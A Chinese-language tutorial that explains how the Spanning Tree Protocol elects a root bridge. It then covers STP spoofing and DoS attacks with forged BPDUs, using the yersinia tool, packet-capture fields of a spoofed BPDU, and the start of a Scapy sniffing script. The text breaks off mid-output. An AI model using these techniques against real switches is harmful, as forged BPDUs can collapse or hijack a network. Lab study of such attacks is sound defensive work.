STP
生成树协议(英语:Spanning Tree Protocol,STP),是一种工作在OSI网络模型中的第二层(数据链路层)的通信协议,基本应用是防止交换机冗余链路产生的环路.用于确保以太网中无环路的逻辑拓扑结构.从而避免了广播风暴,大量占用交换机的资源.
STP的工作过程如下:
- 首先进行根网桥的选举,不断发送BPDU,由
桥ID
最小的为根桥 - 计算每个节点到根桥的距离,并由这些路径得到各冗余链路的代价,选择最小的成为通信路径(相应的端口状态变为forwarding),其它的就成为备份路径(相应的端口状态变为blocking)。
桥ID:
- 交换机设置的
优先级(bridge priority)
- 交换机自身的
mac
,越小优先级越高
优先级
优先,优先级
相同则比较mac
stp欺骗
发送网桥ID很低的精心设计的BPDU,就可以欺骗交换机,使它以为这是根网桥,这会导致STP重新收敛(reconverge),从而引起回路,导致网络崩溃。
stp dos攻击
利用假冒的BPDU数据来消耗交换机的资源,从而达到破坏网络环境的目的.
数据包抓包
需要配置有生成树的网络环境
利用yersinia
工具进行STP攻击,进行抓包分析
STP欺骗
yersinia -G
交换机发出来的数据包
Scapy中Dot3
对应的就是IEEE 802.3协议
Dot3
- src:
00:03:0f:91:06:73
交换机mac - dst:
01-80-C2-00-00-00
链路层中01-80-C2-00-00-00
多播地址
LLC
- dsap:
0x42
- ssap:
0x42
STP
- bridgeid:
0
- bridgemac:
00:03:0f:91:06:73
交换机mac
攻击发出的包
发现对mac
进行伪造,mac
小于了交换机mac
,成功了根桥的欺骗
STP
- bridgeid:
0
- bridgemac:
00:03:0f:90:06:73
伪装的MAC
STP Dos
yersinia -G
抓包
随机生成一些字段
编写脚本
STP欺骗
1.抓取STP数据包,并获取当前根桥mac
sniff()
:嗅探数据
sniff
的帮助信息里面有这样一段
>>> help(sniff)
[...]
stop_filter: Python function applied to each packet to determine if
we have to stop the capture after this packet.
--Ex: stop_filter = lambda x: x.haslayer(TCP)
[...]
根据例子,可以得出这样的函数lambda x: x.haslayer(STP)
利用这个来抓取STP
的数据包
>>> stp = STP()
>>> tcp = TCP()
>>> stp.haslayer(STP)
True
>>> tcp.haslayer(STP)
0
>>> sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
提取根桥mac
>>> packet = sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
>>> packet
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> packet[-1]
<Dot3 dst=01:80:c2:00:00:00 src=00:03:0f:91:06:73 len=38 |<LLC dsap=0x42 ssap=0x42 ctrl=3 |<STP proto=0 version=0 bpdutype=0 bpduflags=0 rootid=0 rootmac=00:03:0f